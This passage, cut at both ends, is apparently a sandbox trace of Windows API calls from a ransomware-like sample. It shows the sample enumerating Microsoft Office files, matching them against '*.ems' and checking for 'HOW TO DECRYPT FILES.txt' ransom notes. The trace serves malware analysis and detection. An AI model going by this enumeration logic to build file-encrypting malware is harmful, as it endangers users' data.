Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.758] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.758] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.758] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.758] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="GROOVEMN.EXE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" [0065.758] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE", pszSpec="*.ems") returned 0 [0065.758] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0065.758] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0065.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0065.758] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x18f90c, dwReserved1=0x4f0048, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0065.758] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HVAC.DLL") returned -1 [0065.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HVAC.DLL") returned -1 [0065.759] lstrcmpiA (lpString1="", lpString2="HVAC.DLL") returned -1 [0065.759] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned="GROOVEMN.EXE" [0065.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.759] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.759] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.759] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.759] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HVAC.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" [0065.759] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL", pszSpec="*.ems") returned 0 [0065.759] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0065.759] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IEAWSDC.DLL") returned -1 [0065.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IEAWSDC.DLL") returned -1 [0065.759] lstrcmpiA (lpString1="", lpString2="IEAWSDC.DLL") returned -1 [0065.759] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned="HVAC.DLL" [0065.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.759] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.759] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.759] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.759] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IEAWSDC.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" [0065.760] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL", pszSpec="*.ems") returned 0 [0065.760] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0065.760] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.760] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IEContentService.exe") returned -1 [0065.760] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IEContentService.exe") returned -1 [0065.760] lstrcmpiA (lpString1="", lpString2="IEContentService.exe") returned -1 [0065.760] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned="IEAWSDC.DLL" [0065.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.760] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.760] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.760] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.760] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IEContentService.exe" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe" [0065.760] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe", pszSpec="*.ems") returned 0 [0065.760] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0065.760] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.760] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMCOMMON.DLL") returned -1 [0065.760] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMCOMMON.DLL") returned -1 [0065.760] lstrcmpiA (lpString1="", lpString2="IMCOMMON.DLL") returned -1 [0065.760] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned="IEContentService.exe" [0065.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.761] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.761] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMCOMMON.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" [0065.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL", pszSpec="*.ems") returned 0 [0065.761] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0065.761] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.761] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMDIMP.ADD") returned -1 [0065.761] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMDIMP.ADD") returned -1 [0065.761] lstrcmpiA (lpString1="", lpString2="IMDIMP.ADD") returned -1 [0065.761] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL") returned="IMCOMMON.DLL" [0065.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.761] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.761] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMDIMP.ADD" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" [0065.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD", pszSpec="*.ems") returned 0 [0065.762] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0065.762] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMPMAIL.DLL") returned -1 [0065.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMPMAIL.DLL") returned -1 [0065.762] lstrcmpiA (lpString1="", lpString2="IMPMAIL.DLL") returned -1 [0065.762] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned="IMDIMP.ADD" [0065.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.762] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.762] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.762] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.762] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMPMAIL.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" [0065.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL", pszSpec="*.ems") returned 0 [0065.762] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0065.762] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMUTIL.DLL") returned -1 [0065.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMUTIL.DLL") returned -1 [0065.762] lstrcmpiA (lpString1="", lpString2="IMUTIL.DLL") returned -1 [0065.762] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned="IMPMAIL.DLL" [0065.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.762] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.762] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.763] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.763] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMUTIL.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" [0065.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL", pszSpec="*.ems") returned 0 [0065.763] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0065.763] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.763] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMWDD.DLL") returned -1 [0065.763] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMWDD.DLL") returned -1 [0065.763] lstrcmpiA (lpString1="", lpString2="IMWDD.DLL") returned -1 [0065.763] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned="IMUTIL.DLL" [0065.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.763] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.763] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.763] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.763] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMWDD.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" [0065.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL", pszSpec="*.ems") returned 0 [0065.763] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0065.763] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.764] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMWIZ.DLL") returned -1 [0065.764] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMWIZ.DLL") returned -1 [0065.764] lstrcmpiA (lpString1="", lpString2="IMWIZ.DLL") returned -1 [0065.764] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned="IMWDD.DLL" [0065.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.764] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.764] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.764] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.764] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IMWIZ.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" [0065.764] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL", pszSpec="*.ems") returned 0 [0065.764] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0065.764] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.764] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="INFOPATH.EXE") returned -1 [0065.764] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="INFOPATH.EXE") returned -1 [0065.764] lstrcmpiA (lpString1="", lpString2="INFOPATH.EXE") returned -1 [0065.764] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned="IMWIZ.DLL" [0065.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.764] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.764] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.764] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.765] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="INFOPATH.EXE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" [0065.765] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE", pszSpec="*.ems") returned 0 [0065.765] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, 